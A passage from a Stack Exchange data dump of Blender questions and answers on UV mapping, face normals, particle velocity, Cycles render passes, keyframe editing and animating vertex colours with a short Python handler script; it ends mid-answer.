  <row Id="1019" PostTypeId="2" ParentId="1015" CreationDate="2013-06-13T14:39:03.243" Score="4" Body="&lt;p&gt;Not sure I am understanding your question exactly as default Blender UV export size is &lt;code&gt;1024 x 1024&lt;/code&gt; or about &lt;code&gt;27cm&lt;/code&gt; on the &lt;em&gt;x&lt;/em&gt; and &lt;em&gt;y&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When exporting UVs from Blender, after going to &lt;em&gt;UVs&lt;/em&gt; &gt; &lt;em&gt;Export UV Layout&lt;/em&gt; there is a little panel in the bottom left where you can modify the output size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BN2y5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exporter only takes values in pixels, if you want definite values you can just simply use a converter like this one. &lt;a href=&quot;http://www.translatorscafe.com/cafe/units-converter/typography/calculator/pixel-%28X%29-to-centimeter-%5Bcm%5D/&quot; rel=&quot;nofollow noreferrer&quot;&gt;translatorscafe.com&lt;/a&gt;, just put your desired centimeter value in and it will give you the equivalent in pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per brecht's comment below, conversion among such units is not as simple as it seems, one key factor involved is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Dots_per_inch&quot; rel=&quot;nofollow noreferrer&quot;&gt;dots per inch&lt;/a&gt; (DPI) of your current display. To take that into account, you can use &lt;a href=&quot;http://easycalculation.com/pixtomm.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;this converter&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T19:23:17.090" LastActivityDate="2013-06-13T19:23:17.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostTypeId="1" AcceptedAnswerId="1023" CreationDate="2013-06-13T15:10:44.287" Score="7" ViewCount="790" Body="&lt;p&gt;Very often I'll delete faces, simplify things a bit (dissolving unnecessary vertices) and make faces again by selecting vertices and using the &quot;Make Edge/Face&quot; tool &lt;kbd&gt;F&lt;/kbd&gt;. Sometimes the generated faces are in the wrong direction, i.e. normals pointing inward, so I need to check and flip them manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how is the normal direction determined when making a face? It doesn't seem to depend on the direction/order of selecting vertices and the result is quite random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tips to make face normals point at the desired direction so that I don't need to flip them manually later?&lt;/p&gt;&#xA;" OwnerUserId="292" LastEditorUserId="12" LastEditDate="2013-06-13T15:12:22.810" LastActivityDate="2013-06-13T15:44:58.147" Title="How is the normal direction determined when I use &quot;Make Edge/Face&quot;?" Tags="&lt;geometry&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostTypeId="1" CreationDate="2013-06-13T15:23:05.700" Score="7" ViewCount="1294" Body="&lt;p&gt;I wish to know the meaning of the &quot;tangent&quot; option available in particles panel; for a surface in 3D, tangent means a surface. But velocity is a linear, directional entity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on a project which involves emission of particles along the slope of a cone. &lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="47" LastEditDate="2013-06-13T17:37:50.863" LastActivityDate="2013-06-13T17:37:50.863" Title="What's the meaning of tangent in the velocity panel in the particle settings?" Tags="&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostTypeId="1" AcceptedAnswerId="1026" CreationDate="2013-06-13T15:41:59.120" Score="10" ViewCount="49353" Body="&lt;p&gt;I am trying to apply an image to a wavy mesh I created in Blender. I am not sure how to do this. I don't think I have any seams because its one panel so I tried just unwrapping which didn't work. Then I tried marking the edges as seams but this also failed to work. Where are the seams if any and how do I apply an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GUlnx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yL2VP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="656" LastEditorUserId="656" LastEditDate="2013-06-13T16:28:45.690" LastActivityDate="2016-07-17T00:54:48.683" Title="Adding UV Mapping to Mesh" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1023" PostTypeId="2" ParentId="1020" CreationDate="2013-06-13T15:44:58.147" Score="4" Body="&lt;p&gt;If you create faces connecting to existing faces, they will be used to calculate the direction. Otherwise the direction is undefined at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a file that you think is making faces pointing the wrong way, I'd be interested to know, however this is more of a bug report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The possibility of making faces that point towards the view for example, or as you suggest, using the selection order is interesting and may be added but currently isn't supported.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-13T15:44:58.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1024" PostTypeId="2" ParentId="1005" CreationDate="2013-06-13T15:52:07.197" Score="3" Body="&lt;p&gt;Suggest not adding a new mesh for every object,&#xA;&lt;code&gt;bpy.ops.mesh.primitive_ico_sphere_add&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you can add a sphere once, then reuse the mesh between all objects changing their scale. Its also possible for each object to have their own material so you can still share object data but have different colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though you could even make do with a single material for all and just use object color.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-13T15:52:07.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostTypeId="1" CreationDate="2013-06-13T16:06:50.480" Score="0" ViewCount="1506" Body="&lt;p&gt;I am creating an Optimus Prime, based around the model from the movie,but not exact. I have just run into the problem of setting up a facial rig. I mostly need to know what the best approach would be to creating a rig for his mouth.&lt;/p&gt;&#xA;" OwnerUserId="468" LastActivityDate="2013-06-13T16:10:55.647" Title="How to set up a face rig" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-06-14T11:25:26.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="1026" PostTypeId="2" ParentId="1022" CreationDate="2013-06-13T16:09:00.163" Score="11" Body="&lt;p&gt;Blender has a difficult texture mapping system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view an image on a 3D model, you need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select a mesh object and go to &lt;em&gt;Edit Mode&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the mesh has not been unwrapped, define your seams (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;em&gt;Mark Seams&lt;/em&gt;) and unwrap it (&lt;kbd&gt;U&lt;/kbd&gt;). Only the selected faces will be unwrapped, so make sure you have what you want unwrapped selected. Also, only the &lt;em&gt;Unwrap&lt;/em&gt; choice guarantees that faces will have the same more or less spacial layout in UV space as they have in the 3D mesh surface, seams included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyv7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to a &lt;em&gt;UV Image Editor&lt;/em&gt; while still in &lt;em&gt;Edit Mode&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;If your mesh has been unwrapped and there are some faces selected in the &lt;em&gt;3D Viewport&lt;/em&gt;, these faces' uvs should appear in the &lt;em&gt;UV Image Editor&lt;/em&gt;. If this does not happen, make sure there is no render result displayed on the &lt;em&gt;UV Image Editor&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now you can assign an image to your mesh by either opening a new one from the menu &lt;em&gt;Image &gt; Open&lt;/em&gt;, selecting an already opened image from the drop down menu or generating a new image from the menu &lt;em&gt;Image &gt; New&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This image will be applied to the selected faces. However, it may not appear in the &lt;em&gt;3D Viewport&lt;/em&gt; yet. For that to happen you have to set your &lt;em&gt;3D Viewport&lt;/em&gt; to &lt;em&gt;Textured View&lt;/em&gt; by hovering the mouse inside it and pressing &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt;. You can also change it the view manually in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cs7gE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you try to render your mesh, there will be no image on it. The image has simply been attached to the mesh's UV layer. To make the mesh render with this image, you need to explicitly create a material, add a texture and change the texture's type to &lt;em&gt;Image&lt;/em&gt;, set the image, change the &lt;em&gt;Mapping&lt;/em&gt; to UV and assign the texture to color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P7bXO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RfeLS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Yes, it is long winded and confusing. Sorry :)&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="20508" LastEditDate="2016-07-17T00:54:48.683" LastActivityDate="2016-07-17T00:54:48.683" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="1027" PostTypeId="2" ParentId="1025" CreationDate="2013-06-13T16:10:55.647" Score="2" Body="&lt;p&gt;Well facial rigs can be hard, it's better to learn simpler rigs first. For the model you're attempting, I would recommend joints, they work quite well. Remember that he is a rigid character so apply bones to mesh parts with &quot;Bone&quot; not any others as it wont distort different sections but rotate like using R on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender cookie has great tutorials on facial rigging, especially David Ward's tutorials.&lt;/p&gt;&#xA;" OwnerUserId="511" LastActivityDate="2013-06-13T16:10:55.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostTypeId="1" CreationDate="2013-06-13T16:41:34.940" Score="8" ViewCount="4540" Body="&lt;p&gt;Can I render just the &lt;em&gt;Diffuse Color Pass&lt;/em&gt; in Cycles? I tried to check just &lt;em&gt;Diffuse Color Pass&lt;/em&gt;, but it rendered the whole image anyway. &lt;/p&gt;&#xA;" OwnerUserId="657" LastEditorUserId="20508" LastEditDate="2016-07-03T13:27:45.733" LastActivityDate="2016-07-03T13:27:45.733" Title="Rendering Diffuse Color pass in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostTypeId="2" ParentId="1028" CreationDate="2013-06-13T17:02:44.480" Score="2" Body="&lt;p&gt;Turn off &quot;Combine&quot; in the passes panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use diffuse as compositing output.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-06-13T17:02:44.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1030" PostTypeId="2" ParentId="989" CreationDate="2013-06-13T17:07:39.617" Score="15" Body="&lt;p&gt;There is no way to do true cross-simulation between the different physics systems right now. And I do not know of any on-going project that will bring about that functionality as of this time.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-06-15T03:08:25.727" LastActivityDate="2013-06-15T03:08:25.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostTypeId="2" ParentId="1021" CreationDate="2013-06-13T17:26:34.577" Score="3" Body="&lt;p&gt;Strictly, 'tangent' means a vector that touches the surface at precisely one point. Not the surface itself. So in the particle setting context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tangent&lt;/code&gt; controls the starting force that is applied to the particle &lt;em&gt;parallel&lt;/em&gt; to the emitter surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Normal&lt;/code&gt; controls the force that is applied to the particle &lt;em&gt;perpendicular&lt;/em&gt; to the emitter surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tangent = 1, normal = 0 will make the particle emit 'sideways'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tangent = 0, normal = 1 will make the particle emit 'out'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tangent = 1, normal = 1 will make the particle emit at 45degrees to the surface.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-06-13T17:26:34.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostTypeId="1" CreationDate="2013-06-13T17:28:57.413" Score="7" ViewCount="5735" Body="&lt;p&gt;I have applied an image to a plane in blender using UV Mapping however I want the image only on one side of the plane not both. I am not sure where the setting is for this.&lt;/p&gt;&#xA;" OwnerUserId="656" LastEditorUserId="25" LastEditDate="2013-06-27T04:21:46.977" LastActivityDate="2015-12-03T17:34:22.597" Title="UV Mapping Plane Single Side" Tags="&lt;image&gt;&lt;uv&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostTypeId="2" ParentId="1032" CreationDate="2013-06-13T17:36:52.343" Score="2" Body="&lt;p&gt;I do not believe that single-sided texture mapping is supported in Blender out of the box. But consider this tutorial as a possible way to accomplish that: &lt;a href=&quot;http://www.blendernerd.com/double-sided-materials/&quot; rel=&quot;nofollow&quot;&gt;http://www.blendernerd.com/double-sided-materials/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-06-13T19:52:53.530" LastActivityDate="2013-06-13T19:52:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostTypeId="2" ParentId="1032" CreationDate="2013-06-13T18:00:16.673" Score="4" Body="&lt;p&gt;This is the default or norm in Blender to have the texture appear on both sides. There is no &lt;em&gt;setting&lt;/em&gt; to change this. This also doesn't need to be changed often as usually only one side of a model is showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I go around this to have the material appear only on &lt;strong&gt;one side&lt;/strong&gt; is to use material nodes and have the base material on one side and a transparent material on the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It is a bit tricky if you don't have any experience with material nodes but just follow the node layout and it should work&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just unwrap and texture as normal and setup your material and then add a second one, enable &lt;em&gt;Transparency&lt;/em&gt;, set the &lt;em&gt;Alpha&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; and turn off the specularity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see below, both planes have textures but only one shows up when rendered. That is because I have added a transparent material to it along with the normal material and used the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Geometry&lt;/em&gt; node&lt;/a&gt; to pass the materials to the different sides. One of the planes is on one side and the other is rotated &lt;code&gt;180&lt;/code&gt; degrees around to the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTL99.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup for the material. &lt;sup&gt;&lt;em&gt;(&lt;a href=&quot;https://i.stack.imgur.com/zr8k0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;larger image here&lt;/a&gt;)&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zr8k0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T18:09:01.210" LastActivityDate="2013-06-13T18:09:01.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1035" PostTypeId="2" ParentId="1028" CreationDate="2013-06-13T18:01:37.240" Score="-3" Body="&lt;p&gt;(Ok, lets see if i can write a proper answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this render machine you will have to activate the render passes of your choice (in your case the three under Diffuse) and in compositing you will have to combine them ((Diffuse indirect + Diffuse Direct)*Diffuse Color) together, sorry if this is not much of help, dont really work with cycles, i think Bartek Skorupa have some really good tutorials in compositing on Blender cookie for cycles, check them if you want a deep explanation :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited: Sorry, i explined for the wrong render machine&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2013-06-13T21:16:55.177" LastActivityDate="2013-06-13T21:16:55.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostTypeId="2" ParentId="1022" CreationDate="2013-06-13T18:05:26.250" Score="4" Body="&lt;p&gt;You definitely don't need &lt;em&gt;seams&lt;/em&gt; for this mesh. Seams are to unwrap something that is not flat like a ball or character.&lt;/p&gt;&#xA;&lt;p&gt;I recommend the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode select all vertices &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;, choose &lt;strong&gt;Clear Seams&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect all with &lt;kbd&gt;A&lt;/kbd&gt;, then select only one wall of your model. &lt;kbd&gt;C&lt;/kbd&gt; is a good tool for this.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press the &lt;strong&gt;numpad&lt;/strong&gt; &lt;kbd&gt;1&lt;/kbd&gt; or &lt;kbd&gt;3&lt;/kbd&gt; so that the viewport is looking directly at that wall. It's best not to be in perspective mode, change to Ortho by pressing &lt;kbd&gt;5&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZRBE2.png&quot; alt=&quot;Top Left Corner indicates mode.&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; and choose &lt;strong&gt;Project from View&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because you only have one wall selected, in the Image Editor there will only be one wall . Use &lt;kbd&gt;G&lt;/kbd&gt; to grab, &lt;kbd&gt;R&lt;/kbd&gt; to rotate your unwrapped mesh in the Image Editor. Preview in the 3D Viewport to line up your texture as you like.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps #3. through #6. for each wall. &lt;em&gt;Note that its ok if your walls over lap in the Image Editor when all selected.&lt;/em&gt; Also, a good tip is, if  &lt;strong&gt;Numpad&lt;/strong&gt; &lt;kbd&gt;1&lt;/kbd&gt; gives you the view of the front wall &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;strong&gt;Numpad&lt;/strong&gt; &lt;kbd&gt;1&lt;/kbd&gt; will give you the back.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you haven't already, follow Psy-Fi's #7 step to add you texture to the mesh as a material texture. Now you can render.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A couple things you need to understand about this texturing process is:&lt;/p&gt;&#xA;&lt;p&gt;Un-wrapping your object and opening an image in the Image Editor has not textured your object even if the texture shows up in the Viewport. Only when you actually assign a material with the desire texture is it textured. The reason is, Blender's Image Editor is a really powerful tool that allows you to paint a image texture by drawing directly onto your mesh object in &lt;strong&gt;Texture Paint Mode&lt;/strong&gt;. So, it allows you to &lt;em&gt;view images on a mesh&lt;/em&gt; even when they are not its assigned texture.&lt;/p&gt;&#xA;" OwnerUserId="543" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-13T18:23:34.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1037" PostTypeId="1" CreationDate="2013-06-13T20:16:33.747" Score="22" ViewCount="67386" Body="&lt;p&gt;In Cinema 4D you can select an animated keyframe and just slide to move it directly from the timeline and all attributes like scale, rotation, position etc will be automatically adjusted to the new position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to do that in Blender? Right now the only method I see is to select all attributes from the dope sheet and move them manually. This adds extra steps that can get gruesome later.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2018-05-26T19:56:17.023" Title="Move keyframes from timeline?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostTypeId="2" ParentId="1037" CreationDate="2013-06-13T21:05:38.490" Score="8" Body="&lt;p&gt;In the &lt;em&gt;Dopesheet&lt;/em&gt;, you can select keyframes with box select (&lt;kbd&gt;B&lt;/kbd&gt;). Then, you can move them (&lt;kbd&gt;G&lt;/kbd&gt;) and type in the number of frames (ex. &lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;7&lt;/kbd&gt; or &lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;7&lt;/kbd&gt;), resize them (&lt;kbd&gt;S&lt;/kbd&gt;), or duplicate them (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;). Keying &lt;kbd&gt;Numpad .&lt;/kbd&gt; will zoom in on selected keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After pressing the keystrokes, you should move the mouse to position the keyframes. The position of the timeline selector matters, and acts like an origin or pivot point.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="20508" LastEditDate="2016-07-17T12:53:39.983" LastActivityDate="2016-07-17T12:53:39.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1039" PostTypeId="2" ParentId="1037" CreationDate="2013-06-13T21:33:20.043" Score="28" Body="&lt;p&gt;It is not possible to move keyframes directly in the timeline window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the dopesheet, you can select all the keyframes of an animated object at once, by click the top one, in the &lt;em&gt;master&lt;/em&gt; channel :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VHwz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still box select with &lt;kbd&gt;B&lt;/kbd&gt; like @Cosifa said, and move, scale, or duplicate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Oh! and you can always re-arrange your window panes as you want, to suits your needs if you want a big 3D view and a little dopesheet window at the bottom screen ;)&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-06-13T21:38:22.423" LastActivityDate="2013-06-13T21:38:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1040" PostTypeId="2" ParentId="1037" CreationDate="2013-06-13T23:45:44.953" Score="8" Body="&lt;p&gt;Because we can't manage keyframe in timeline, I often &lt;em&gt;use the dopesheet&lt;/em&gt; as a timeline to scrub in, with &lt;strong&gt;Summary&lt;/strong&gt; button active. The Summary channel is easily accessed when minimized, and each time we need finer grained, per-channel tweaking, just resize the dopesheet's space. I reserve a smaller timeline space for changing start and end-frame, but otherwise the dopesheet is perfectly fine doubling as timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvilS.png&quot; alt=&quot;workspace&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender have various selection methods. Ones I often use are &lt;kbd&gt;[&lt;/kbd&gt; and &lt;kbd&gt;]&lt;/kbd&gt; to select keyframes before and after current frame (inclusive), respectively, and &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;K&lt;/kbd&gt; to select all keyframe in current frame. I don't know what's negative in your experience, but relying on manual single selection and border select sure is error-prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pR2q.png&quot; alt=&quot;selection methods&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-13T23:45:44.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostTypeId="2" ParentId="1028" CreationDate="2013-06-14T01:44:22.813" Score="7" Body="&lt;p&gt;To the best of my knowledge, it is not possible to directly &lt;em&gt;render&lt;/em&gt; only a single color pass in Cycles. However, after rendering your image, you can access the different color passes by using the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before rendering, make sure to go to the Render&gt;Layers menu and select &quot;Direct&quot;, &quot;Indirect&quot;, and &quot;Color&quot; for the material type you want to single out. This makes sure that you have all the necessary color passes when you get to the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor, instead of using &quot;Image&quot; as input to the Composite node, you want to combine in some way the three color passes &quot;Direct&quot;, &quot;Indirect&quot;, and &quot;Color&quot; for your material type. In the example below, I used two Color Overlay nodes as shown in my compositor setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;My original image:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukdpA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Diffuse Color Passes only:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98m0f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Glossy Color Passes only:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ofdyq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;My Compositor Setup:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DwyOo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-14T01:44:22.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostTypeId="1" AcceptedAnswerId="1051" CreationDate="2013-06-14T02:18:06.377" Score="8" ViewCount="2504" Body="&lt;p&gt;Is it possible to animate the vertex color of an object?&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="25" LastEditDate="2013-06-14T02:57:06.677" LastActivityDate="2016-07-21T01:06:15.060" Title="How to animate vertex color of an object?" Tags="&lt;animation&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostTypeId="2" ParentId="1042" CreationDate="2013-06-14T04:07:29.737" Score="1" Body="&lt;p&gt;&lt;strong&gt;manipulating Color Layer directly with Python as a function of frame number&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can animate a color_layer vertex by vertex procedurally with &lt;code&gt;frame_change_pre handler&lt;/code&gt;, docs for which are &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. This assumes that there is a vertex color map called  'Col', and that you know how to render Vertex Colors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;mesh = obj.data&#xA;&#xA;color_layer = mesh.vertex_colors[&quot;Col&quot;]&#xA;&#xA;def set_vcols(frame):&#xA;    i = 0&#xA;    for poly in mesh.polygons:&#xA;        for idx in poly.loop_indices:&#xA;            r = 0.5&#xA;            g = 255 / (frame % 255)&#xA;            b = random.random()&#xA;            color_layer.data[i].color = r,g,b&#xA;            i += 1&#xA;&#xA;def my_handler(scene):&#xA;    frame = scene.frame_current&#xA;    set_vcols(frame)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you go this route, while developing it might seem that your code is not being executed as you hoped, run the below code from console, then rerun your 